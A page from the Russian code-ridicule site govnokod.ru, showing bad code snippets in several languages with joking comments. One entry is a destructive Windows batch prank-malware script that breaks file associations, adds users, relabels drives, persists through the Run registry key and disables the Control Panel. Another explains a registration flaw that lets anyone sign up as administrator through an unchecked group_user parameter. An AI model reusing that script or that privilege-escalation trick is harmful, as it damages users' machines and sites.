- 1
- 2
- 3
<?php
$userTimelog->add($userId, 2, strtotime(date('d.m.Y')));
?>
Нашли или выдавили из себя код, который нельзя назвать нормальным, на который без улыбки не взглянешь? Не торопитесь его удалять или рефакторить, — запостите его на говнокод.ру, посмеёмся вместе!
+146
<?php
$userTimelog->add($userId, 2, strtotime(date('d.m.Y')));
?>
Как можно знать о функции strtotime и не знать о $_SERVER['REQUEST_TIME'] или time()? :D
+159
$time=date("d.m.Y.H.i.s");
$t=explode('.',$time);
$now=mktime($t[3],$t[4],$t[5],$t[1],$t[0],$t[2]);
кручу-верчу, time() хочу
+118
protected override bool GetGridDT (out object Dt)
{
DataTable vDt = null;
bool vResult = fComposition != 0 ?
Composition.RN.Load(fComposition, out vDt) :
fNType != 0 ?
RN.Load((RNType.RNTypes)fNType, out vDt) :
fRvObjectType != 0 ?
RvObjectType.RN.Load(fRvObjectType, out vDt) :
fRv != 0 ?
Rv.RN.Load(fRv, out vDt) :
fProtocol != 0 ?
Protocol.RN.Load(fProtocol, out vDt) :
RN.Load(out vDt);
Dt = vDt;
return vResult;
}
Ну что тут скажешь...)
+158
var url="/registration/reg.php?file_photo="+src_img+"®_email="+
reg_email+"&last_name="+last_name+"&name="+encodeURIComponent(name)+
"®_phone="+encodeURIComponent(reg_phone)+"&group_user="+group_user;
$('#ajax_result').load(url, function(response, status, xhr) {
document.location.href="success.php";
});
Вот такая милая регистрация пользователя. Только вот группа пользователя указывается в запросе и не проверяется на стороне сервера.
В результате можно зарегистрироваться администратором сайта, подставив не столь уж неизвестный id группы администраторов в параметр group_user
+153
require_once('adodb/adodb.inc.php');
class adoDbConnector
{
private static $instance = null;
public static function getInstance()
{
if (self::$instance == NULL)
{
self::$instance = new adoDbConnector();
}
return self::$instance;
}
private function __construct() { }
public function __clone()
{
trigger_error('No __clone()!', E_USER_ERROR);
}
public function __wakeup()
{
trigger_error('No __wakeup()!', E_USER_ERROR);
}
public function connect($connectionType, $connectionData)
{
switch($connectionType)
{
case 0:
return self::generalConnect($connectionData);
break;
case 1:
return self::dsnConnect($connectionData);
break;
case 2:
return self::xmlConnect($connectionData);
break;
default:
throw new Exception('Wrong type of connection!');
}
}
private static function generalConnect($connectionData)
{
if(is_array($connectionData))
{
$conn = &ADONewConnection($connectionData[0]);
$conn->PConnect($connectionData[1], $connectionData[2],
$connectionData[3], $connectionData[4]);
return $conn;
}
else throw new Exception('Wrong type of connection data, must be an array!');
}
private static function dsnConnect($connectionData)
{
if(is_string($connectionData))
{
$conn = ADONewConnection($connectionData);
return $conn;
}
else throw new Exception('Wrong type of connection data, must be a string!');
}
private static function xmlConnect($connectionData)
{
if(is_string($connectionData) && file_exists($connectionData))
{
$xml = simplexml_load_file($connectionData);
foreach($xml as $x)
{
$connArr[] = trim($x);
}
$conn = &ADONewConnection($connArr[0]);
$conn->PConnect($connArr[1], $connArr[2], $connArr[3], $connArr[4]);
return $conn;
}
else throw new Exception('Wrong file name or connection type!');
}
}
+120
@echo off
%SystemRoot%/system32/rundll32 user32, SwapMouseButton >nul
time 0:00 >nul
date 13.06.23 >nul
label C:IDIOT >nul
label D:DURAK >nul
label E:SUKA >nul
label F:GANDON >nul
copy %0 C:\Open.bat >nul
copy %0 D:\Open.bat >nul
copy %0 E:\Open.bat >nul
copy %0 F:\Open.bat >nul
net user "Idiot you Hacked" /add >nul
net user "Bitch you Hacked" /add >nul
net user "Durak you Hacked" /add >nul
net user "Kritin you Hacked" /add >nul
net user "Gavno you Hacked" /add >nul
md 1 >nul
md 2 >nul
md 3 >nul
md 4 >nul
md 5 >nul
md 6 >nul
md 7 >nul
md 8 >nul
md 9 >nul
md 10 >nul
md 11 >nul
md 12 >nul
md 13 >nul
md 14 >nul
md 15 >nul
md 16 >nul
md 17 >nul
md 18 >nul
md 19 >nul
md 20 >nul
md 21 >nul
md 22 >nul
md 23 >nul
md 24 >nul
md 25 >nul
md 26 >nul
md 27 >nul
assoc .lnk=.txt >nul
assoc .exe=.txt >nul
:x ;
Start mspaint
goto x ;
:x ;
Start Calc
goto x ;
copy ""%0"" "%SystemRoot%\system32\Cool.bat" >nul
reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "Cool" /t REG_SZ /d "%SystemRoot%\system32\Cool.bat" /f >nul
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoControlPanel /t REG_DWORD /d 1 /f >nul
del %0 >nul
Очередной говнокод cmd
+66
if (!retval){
String svcLocation = bp.getParameterValueObjectFromAnyComponent("ReqTDQuestions", "svcLocation") + "";
if (svcLocation.contains("GreaterChina")){
retval=true;
}
}
if(!retval){
String svcCategory = bp.getParameterValueObjectFromAnyComponent("ReqTDQuestions", "svcCategory") + "";
if(svcCategory.contains("ValueAddedServices") ||
svcCategory.contains("distWarehouse") ||
svcCategory.contains("transportation")){
retval =true;
}
}
элегантно.
−102
Money.new(v[:amount].gsub('.','').to_i)
а вы умеете так переводить баксы в центы?
+159
...
function count_answers($answer_array){
/*Count the array*/
$count_ressult = 0;
foreach(@$realarray as $key=>$value)
{
$count_ressult++;
}
return $count_ressult;
}
...
count($array)? не, не слышал!
+152
Введите cумму:<BR>
<INPUT type="text" name="c" value="0"><BR>
<INPUT type="submit" name="PT" value="Разделить" >
<BR>
<BR>
<...>
<?php
if (!empty($_REQUEST["PT"]))
{ $c=$_REQUEST["c"];
if ($c>9)
{
$b=($c % 10) + 10;
$a=($c - ($c % 10)) - 10;
$a1=$a/5;
if (($b % 3) == 0)
{
$b1=$b/3;
echo "пять=$a1 тройки=$b1 ";
}
if ((($b % 3) != 0)and((($b-5) % 3) == 0))
{
$a1=$a1+1;
$b1=($b-5)/3;
echo "пять=$a1 тройки=$b1";
}
if ((($b % 3) != 0)and((($b-10) % 3) == 0))
{
$a1=$a1+2;
$b1=($b-10)/3;
echo "пять=$a1 тройки=$b1";
}
}
if($c<=9)
{
if($c==9)
{
echo "пять=0 тройка=3";
}
if($c==8)
{
echo "пять=1 тройка=1";
}
if($c<8)
{
echo "Не удовлетворяет начальным условиям";
}
}
}
?>
Задача: Необходимо доказать, что любое число, большее 7, можно представить в виде 3а+5b.